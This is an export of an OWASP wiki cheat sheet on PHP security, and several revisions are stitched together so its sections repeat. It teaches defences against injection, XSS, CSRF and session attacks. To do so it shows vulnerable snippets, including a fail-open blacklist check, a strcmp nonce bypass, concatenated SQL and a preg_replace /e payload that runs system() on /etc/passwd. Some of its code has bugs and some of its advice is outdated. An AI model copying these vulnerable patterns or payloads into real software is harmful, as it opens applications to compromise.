Code with most of your code outside of the webroot. This is automatic for Symfony and Zend. Stick to these frameworks.

== Hashing Extension ==
Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256

== Cryptographic Extension ==
Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.

== Authentication and Authorization ==
There is no authentication or authorization classes in native PHP. Use '''ZF''' or '''Symfony''' instead.

== Input nput validation ==
Use $_dirty['foo'] = $_GET['foo'] and then $foo = validate_foo($dirty['foo']);

== Use PDO or ORM ==
Use PDO with prepared statements or an ORM like Doctrine

== Use PHP Unit and Jenkins ==
When developing PHP code, make sure you develop with PHP Unit and Jenkins - see http://qualityassuranceinphpprojects.com/pages/tools.html for more details.

== Use Stefan Esser's Hardened PHP Patch ==
Consider using Stefan Esser's Hardened PHP patch - http://www.hardened-php.net/suhosin/index.html
(not maintained now, but the concepts are very powerful)

== Avoid Global Variables==
In terms of secure coding with PHP, do not use globals unless absolutely necessary
Check your php.ini to ensure register_globals is off Do not run at all with this setting enabled It's extremely dangerous (register_globals has been disabled since 5.0 / 2006, but .... most PHP 4 code needs it, so many hosters have it turned on)

== Protection against RFI==
Ensure allow_url_fopen and allow_url_include are both disabled to protect against RFI But don't cause issues by using the pattern include $user_supplied_data or require "base" + $user_supplied_data - it's just unsafe as you can input /etc/passwd and PHP will try to include it

== Regexes (!)==
Watch for executable regexes (!)

== Session Rotation ==
Session rotation is very easy - just after authentication, plonk in session_regenerate_id() and you‘re done.

== Be aware of PHP filters ==
PHP filters can be tricky and complex. Be extra-conscious when using them.

== Logging ==
Set display_errors to 0, and set up logging to go to a file you control, or at least syslog. This is the most commonly neglected area of PHP configuration

== Output encoding ==
Output encoding is entirely up to you. Just do it, ESAPI for PHP is ready for this job.

These are transparent to you and you need to know about them. php://input: takes input from the console gzip: takes compressed input and might bypass input validation http://au2.php.net/manual/en/filters.php

= Authors and Primary Editors =

[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])

[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]

[mailto:vanderaj@owasp.org Andrew van der Stock]

= Other Cheatsheets =
{{Cheatsheet_Navigation}}

[[Category:Cheatsheets]]

PHP Security Cheat Sheet

2014-09-25T07:45:05Z

Luke Plant: /* Exceptions and error handling */

= DRAFT CHEAT SHEET - WORK IN PROGRESS =
= Introduction =
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.

==PHP overview==

PHP is the most commonly used server-side programming language, with 81.8% of web servers deploying it, according to W3 Techs.

An open source technology, PHP is unusual in that it is both a language ''and'' a web framework, with typical web framework features built-in to the latter. Like all web languages, there is also a large community of libraries etc. that contribute to the security (or otherwise) of programming in PHP. All three aspects (language, framework, and libraries) need to be taken into consideration when trying to secure a PHP site.

Serious issues abound in all aspects of PHP, making it difficult to write secure PHP applications. If you’re forced to use PHP, then you must be aware of all its pitfalls.

===Language issues===

====Weak typing====

PHP is weakly typed, which means that it will automatically convert data of an incorrect type into the expected type. This feature very often masks errors by the developer or injections of unexpected data, leading to vulnerabilities (see “Input handling” below for an example).

Try to use functions and operators that do not do implicit type conversions (e.g. <code>===</code> and not <code>==</code>). Not all operators have strict versions (for example greater than and less than), and many built-in functions (like <code>in_array</code>) use weakly typed comparison functions by default, making it difficult to write correct code.

====Exceptions and error handling====

Almost all PHP builtins, and many PHP libraries, do not use exceptions, but instead report errors in other ways (such as via notices) that allow the faulty code to carry on running. This has the effect of masking many bugs. In other languages, error conditions that are caused by developer errors will cause the program to stop running, which is the safest thing to do.

Consider the following code which limits attempts to limit access to a certain function using a database query that checks to see if the username is on a black list:

$db_link = mysqli_connect('localhost', 'dbuser', 'dbpassword', 'dbname');

function can_access_feature($current_user) {
global $db_link;
$username = mysqli_real_escape_string($link, $current_user->username);
$res = mysqli_query($link, "SELECT COUNT(id) FROM blacklisted_users WHERE username = '$username';");
$row = mysqli_fetch_array($res);
if ((int)$row[0] > 0) {
return false;
} else {
return true;
}
}

if (!can_access_feature($current_user)) {
exit();
}

// Code for feature here

There are various runtime errors that could occur in this - for example, the database connection could fail, due to a wrong password or the server being down etc., or the connection could be closed by the server after it was opened client side. In these cases, by default the <code>mysqli_</code> functions will issue warnings or notices, but will not throw exceptions or fatal errors. This means that the code simply carries on! The variable <code>$row</code> becomes <code>NULL</code>, and PHP will evaluate <code>$row[0]</code> also as <code>NULL</code>, and <code>(int)$row[0]</code> as <code>0</code>, due to weak typing. Eventually the <code>can_access_feature</code> function returns <code>true</code>, giving access to all users, whether they are on the blacklist or not.

The correct way to deal with this is to add error checking at every point. However, since this requires additional work, and is easily missed, this is insecure by default. It also requires a lot of boilerplate. While PHP in some ways appears to be a high-level language, when it comes to errors it is a low-level language like C, and requires diligent checking of many possibly error conditions. This makes it much harder to write secure code using PHP than with other high-level languages that are normally used for web development.

It is often best to turn up error reporting as high as possible using the
[http://www.php.net/manual/en/function.error-reporting.php error_reporting] function, and never attempt to suppress error messages — always follow the warnings and write code that is more robust.

====php.ini====

The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled. This can make it very difficult to write code that works correctly in all circumstances. Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below under “Configuration.”

====Unhelpful builtins====

PHP comes with many built-in functions, such as <code>addslashes</code>, <code>mysql_escape_string</code> and
<code>mysql_real_escape_string</code>, that appear to provide security, but are often buggy and, in fact, are unhelpful ways to deal with security problems.

Some of these built-ins are being deprecated and removed, but due to backwards compatibility policies this takes a long time.

===Framework issues===

====URL routing====

PHP’s built-in URL routing mechanism is to use files ending in “.php” in the directory structure. This opens up several vulnerabilities:

* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename are appropriately sanitised.

* Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use <code>.htaccess</code> to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.

====Input handling====

Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a "one time nonce" mechanism that might be used, for example in a password reset code:

$supplied_nonce = $_GET['nonce'];
$correct_nonce = get_correct_value_somehow();

if (strcmp($supplied_nonce, $correct_nonce) == 0) {
// Go ahead and reset the password
} else {
echo 'Sorry, incorrect link';
}

If an attacker uses a querystring like this:

http://example.com/?nonce[]=a

then we end up with <code>$supplied_nonce</code> being an array. The function <code>strcmp()</code> will then return <code>NULL</code> (instead of throwing an exception, which would be much more useful), and then, due to weak typing and the use of the <code>==</code> (equality) operator instead of the <code>===</code> (identity) operator, the comparison succeeds (since the expression <code>NULL == 0</code> is true according to PHP), and the attacker will be able to reset the password without providing a correct nonce.

====Template language====

PHP is essentially a template language. However, it doesn't do HTML escaping by
default, which makes it very problematic for use in a web application - see
section on XSS below.

====Other inadequacies====

There are other important things that a web framework should supply, such as a
CSRF protection mechanism that is on by default. Because PHP comes with a
rudimentary web framework that is functional enough to allow people to create
web sites, many people will do so without any knowledge that they need CSRF
protection.

===Third party PHP code===

Libraries and projects written in PHP are often insecure due to the problems
highlighted above, especially when proper web frameworks are not used. Do not
trust PHP code that you find on the web, as many security vulnerabilities can
hide in seemingly innocent code.

Poorly written PHP code often results in warnings being emitted, which can cause
problems. A common solution is to turn off all notices, which is exactly the opposite
of what ought to be done (see above), and leads to progressively worse code.

==Update PHP Now==
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''

Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.

=Configuration=

The behaviour of PHP is strongly affected by configuration, which can be done through the "php.ini" file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php

There are many security related configuration options. Some are listed below:

==SetHandler==

PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name "foo.php.txt" will be handled as PHP code, which can be a very serious remote execution vulnerability if "foo.php.txt" was not intended to be executed (e.g. example code) or came from a malicious file upload.

=Untrusted data=
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.

Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).

==File uploads==

Files received from a user pose various security threats, especially if other users can download these files. In particular:

* Any file served as HTML can be used to do an XSS attack
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.

Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.

==Common mistakes on the processing of $_FILES array==
It is common to find code snippets online doing something similar to the following code:

if ($_FILES['some_name']['type'] == 'image/jpeg') {
//Proceed to accept the file as a valid image
}

However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.

$finfo = new finfo(FILEINFO_MIME_TYPE);
$fileContents = file_get_contents($_FILES['some_name']['tmp_name']);
$mimeType = $finfo->buffer($fileContents);

Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.

==Use of $_REQUEST==
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.

=Database Cheat Sheet=
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:

==Never concatenate or interpolate data in SQL==

Never build up a string of SQL that includes user data, either by concatenation:

$sql = "SELECT * FROM users WHERE username = '" . $username . "';";

or interpolation, which is essentially the same:

$sql = "SELECT * FROM users WHERE username = '$username';";

If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.

==Escaping is not safe==
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.

'''Why:'''
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).

==Use Prepared Statements==
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was.

====MySQLi Prepared Statements Wrapper====
The following function, performs a SQL query, returns its results as a 2D array (if query was SELECT) and does all that with prepared statements using MySQLi fast MySQL interface:

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

function SQL($Query) {
global $DB;
$args = func_get_args();
if (count($args) == 1) {
$result = $DB->query($Query);
if ($result->num_rows) {
$out = array();
while (null != ($r = $result->fetch_array(MYSQLI_ASSOC)))
$out [] = $r;
return $out;
}
return null;
} else {
if (!$stmt = $DB->prepare($Query))
trigger_error("Unable to prepare statement: {$Query}, reason: " . $DB->error . "");
array_shift($args); //remove $Query from args
//the following three lines are the only way to copy an array values in PHP
$a = array();
foreach ($args as $k => &$v)
$a[$k] = &$v;
$types = str_repeat("s", count($args)); //all params are strings, works well on MySQL and SQLite
array_unshift($a, $types);
call_user_func_array(array($stmt, 'bind_param'), $a);
$stmt->execute();
//fetching all results in a 2D array
$metadata = $stmt->result_metadata();
$out = array();
$fields = array();
if (!$metadata)
return null;
$length = 0;
while (null != ($field = mysqli_fetch_field($metadata))) {
$fields [] = &$out [$field->name];
$length+=$field->length;
}
call_user_func_array(array(
$stmt, "bind_result"
), $fields);
$output = array();
$count = 0;
while ($stmt->fetch()) {
foreach ($out as $k => $v)
$output [$count] [$k] = $v;
$count++;
}
$stmt->free_result();
return ($count == 0) ? null : $output;
}
}

Now you could do your every query like the example below:

$res=SQL("SELECT * FROM users WHERE ID>? ORDER BY ? ASC LIMIT ?" , 5 , "Username" , 2);

Every instance of ? is bound with an argument of the list, not ''replaced'' with it. MySQL 5.5+ supports ? as ORDER BY and LIMIT clause specifiers. If you're using a database that doesn't support them, see next section.

'''REMEMBER:''' When you use this approach, you should ''NEVER'' concat strings for a SQL query.

====PDO Prepared Statement Wrapper====
The following function, does the same thing as the above function but using PDO. You can use it with every PDO supported driver.

try {
$DB = new PDO("{$Driver}:dbname={$DatabaseName};host={$Host};", $Username, $Password);
} catch (Exception $e) {
trigger_error("PDO connection error: " . $e->getMessage());
}

function SQL($Query) {
global $DB;
$args = func_get_args();
if (count($args) == 1) {
$result = $DB->query($Query);
if ($result->rowCount()) {
return $result->fetchAll(PDO::FETCH_ASSOC);
}
return null;
} else {
if (!$stmt = $DB->prepare($Query)) {
$Error = $DB->errorInfo();
trigger_error("Unable to prepare statement: {$Query}, reason: {$Error[2]}");
}
array_shift($args); //remove $Query from args
$i = 0;
foreach ($args as &$v)
$stmt->bindValue(++$i, $v);
$stmt->execute();
return $stmt->fetchAll(PDO::FETCH_ASSOC);
}
}

$res=SQL("SELECT * FROM users WHERE ID>? ORDER BY ? ASC LIMIT 5" , 5 , "Username" );

===Where prepared statements do not work===
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you need to do two things:

====Not Supported Fields====
When some field does not support binding (like LIMIT clause in PDO), you need to '''whitelist''' the data you're about to use. LIMIT always requires an integer, so cast the variable to an integer. ORDER BY needs a field name, so whitelist it with field names:

function whitelist($Needle,$Haystack)
{
if (!in_array($Needle,$Haystack))
return reset($Haystack); //first element
return $Needle;
}

$Limit = $_GET['lim'];
$Limit = $Limit * 1; //type cast, integers are safe

$Order = $_GET['sort'];
$Order=whitelist($Order,Array("ID","Username","Password"));

This is very important. If you think you're tired and you rather blacklist than whitelist, you’re bound to fail.

====Dynamic Queries====
Now this is a highly delicate situation. Whenever hackers fail to injection SQL in your common application scenarios, they go for Advanced Search features or similars, because those features rely on dynamic queries and dynamic queries are almost always insecurely implemented.

When you're building a dynamic query, the only way is whitelisting. Whitelist every field name, every boolean operator (it should be OR or AND, nothing else) and after building your query, use prepared statements:

$Query="SELECT * FROM table WHERE ";
foreach ($_GET['fields'] as $g)
$Query.=whitelist($g,Array("list","of","possible","fields","here"))."=?";
$Values=$_GET['values'];
array_unshift($Query); //add to the beginning
$res=call_user_func_array(SQL, $Values);

==ORM==
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.

==Encoding Issues==

===Use UTF-8 unless necessary===
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

=Other Injection Cheat Sheet=
SQL aside, there are a few more injections possible ''and common'' in PHP:

==Shell Injection==
A few PHP functions namely

* shell_exec
* exec
* passthru
* system
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )

run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.

Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you.

==Code Injection==
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.

Function preg_replace() should not be used with unsanitised user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].

preg_replace("/.*/e","system('echo /etc/passwd')");

Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.

==Other Injections==
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.

=XSS Cheat Sheet=

There are two scenarios when it comes to XSS, each one to be mitigated accordingly:

== No Tags ==

Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.

If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.

Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.

If you cannot switch to a secure template engine, you can use the function below on all untrusted data.

'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.

//xss mitigation functions
function xssafe($data,$encoding='UTF-8')
{
return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);
}
function xecho($data)
{
echo xssafe($data);
}

//usage example
<input type='text' name='test' value='<?php
xecho ("' onclick='alert(1)");
?>' />

==Untrusted Tags==
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.

==Templating engines==

There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.

Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.

==Other Tips==

* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.

* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)

* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.

* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.

=CSRF Cheat Sheet=
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:

* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.

The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version would be available (hopefully). For now, mix that with the following tips:

* Use re-authentication for critical operations (change password, recovery email, etc.)
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.

=Authentication and Session Management Cheat Sheet=
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:

==Session Management==
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:

* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.

===Session Hijacking Prevention===
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.

To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:

$IP = getenv ( "REMOTE_ADDR" );

Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic. Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )

===Invalidate Session ID===
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).

===Rolling of Session ID===
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.

===Exposed Session ID===
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.

Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.

===Session Fixation===
Invalidate the Session id after user login (or even after each request) with [http://www.php.net/session_regenerate_id session_regenerate_id()].

===Session Expiration===
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.

Also keep the '''log out''' button close, and unset all traces of the session on log out.

====Inactivity Timeout====
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria.

This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.

====General Timeout====
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.

===Cookies===
Handling cookies in a PHP script has some tricks to it:

====Never Serialize====
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.

====Proper Deletion====
To delete a cookie safely, use the following snippet:

setcookie ($name, "", 1);
setcookie ($name, false);
unset($_COOKIE[$name]);
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.

You can also use '''session_name()''' to retrieve the name default PHP session cookie.

====HTTP Only====
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.

To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):

#prototype
bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )

#usage
if (!setcookie("MySessionID", $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))
echo ("could not set HTTP-only cookie");

The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:

$r=setcookie("SECSESSID","1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973",time()+60*60*24*7 /*a week*/,"/","owasp.org",true,true);
if (!$r) die("Could not set session cookie.");

====Internet Explorer issues====
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.

==Authentication==

===Remember Me===
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.

It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.

* '''Never store username/password or any relevant information in the cookie.'''

=Access Control Cheat Sheet=
This section aims to mitigate access control issues, as well as '''Insecure Direct Object Reference''' issues.

=Cryptography Cheat Sheet=

=File Inclusion Cheat Sheet=

=Configuration and Deployment Cheat Sheet=
Please see [[PHP Configuration Cheat Sheet]].

=Sources of Taint=

= OLD. PHP General Guidelines for Secure Web Applications =

== PHP Version ==
Use '''PHP 5.3.8'''. Stable versions are always safer then the beta ones.

== Framework==
Use a framework like '''Zend''' or '''Symfony'''. Try not to re-write the code again and again. Also avoid dead codes.

== Directory==
Code with most of your code outside of the webroot. This is automatic for Symfony and Zend. Stick to these frameworks.

== Hashing Extension ==
Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256

== Cryptographic Extension ==
Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.

== Authentication and Authorization ==
There is no authentication or authorization classes in native PHP. Use '''ZF''' or '''Symfony''' instead.

== Input nput validation ==
Use $_dirty['foo'] = $_GET['foo'] and then $foo = validate_foo($dirty['foo']);

== Use PDO or ORM ==
Use PDO with prepared statements or an ORM like Doctrine

== Use PHP Unit and Jenkins ==
When developing PHP code, make sure you develop with PHP Unit and Jenkins - see http://qualityassuranceinphpprojects.com/pages/tools.html for more details.

== Use Stefan Esser's Hardened PHP Patch ==
Consider using Stefan Esser's Hardened PHP patch - http://www.hardened-php.net/suhosin/index.html
(not maintained now, but the concepts are very powerful)

== Avoid Global Variables==
In terms of secure coding with PHP, do not use globals unless absolutely necessary
Check your php.ini to ensure register_globals is off Do not run at all with this setting enabled It's extremely dangerous (register_globals has been disabled since 5.0 / 2006, but .... most PHP 4 code needs it, so many hosters have it turned on)

== Protection against RFI==
Ensure allow_url_fopen and allow_url_include are both disabled to protect against RFI But don't cause issues by using the pattern include $user_supplied_data or require "base" + $user_supplied_data - it's just unsafe as you can input /etc/passwd and PHP will try to include it

== Regexes (!)==
Watch for executable regexes (!)

== Session Rotation ==
Session rotation is very easy - just after authentication, plonk in session_regenerate_id() and you‘re done.

== Be aware of PHP filters ==
PHP filters can be tricky and complex. Be extra-conscious when using them.

== Logging ==
Set display_errors to 0, and set up logging to go to a file you control, or at least syslog. This is the most commonly neglected area of PHP configuration

== Output encoding ==
Output encoding is entirely up to you. Just do it, ESAPI for PHP is ready for this job.

These are transparent to you and you need to know about them. php://input: takes input from the console gzip: takes compressed input and might bypass input validation http://au2.php.net/manual/en/filters.php

= Authors and Primary Editors =

[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])

[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]

[mailto:vanderaj@owasp.org Andrew van der Stock]

= Other Cheatsheets =
{{Cheatsheet_Navigation}}

[[Category:Cheatsheets]]

PHP Security Cheat Sheet

2014-09-25T07:39:01Z

Luke Plant: /* Exceptions and error handling */

= DRAFT CHEAT SHEET - WORK IN PROGRESS =
= Introduction =
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.

==PHP overview==

PHP is the most commonly used server-side programming language, with 81.8% of web servers deploying it, according to W3 Techs.

An open source technology, PHP is unusual in that it is both a language ''and'' a web framework, with typical web framework features built-in to the latter. Like all web languages, there is also a large community of libraries etc. that contribute to the security (or otherwise) of programming in PHP. All three aspects (language, framework, and libraries) need to be taken into consideration when trying to secure a PHP site.

Serious issues abound in all aspects of PHP, making it difficult to write secure PHP applications. If you’re forced to use PHP, then you must be aware of all its pitfalls.

===Language issues===

====Weak typing====

PHP is weakly typed, which means that it will automatically convert data of an incorrect type into the expected type. This feature very often masks errors by the developer or injections of unexpected data, leading to vulnerabilities (see “Input handling” below for an example).

Try to use functions and operators that do not do implicit type conversions (e.g. <code>===</code> and not <code>==</code>). Not all operators have strict versions (for example greater than and less than), and many built-in functions (like <code>in_array</code>) use weakly typed comparison functions by default, making it difficult to write correct code.

====Exceptions and error handling====

Almost all core PHP code, and many PHP libraries, do not use exceptions, but instead report errors in other ways (such as via notices) that allow the faulty code to carry on running. This has the effect of masking many bugs. In other languages, error conditions that are caused by developer errors will cause the program to stop running, which is the safest thing to do.

Consider the following code which limits attempts to limit access to a certain function using a database query that checks to see if the username is on a black list:

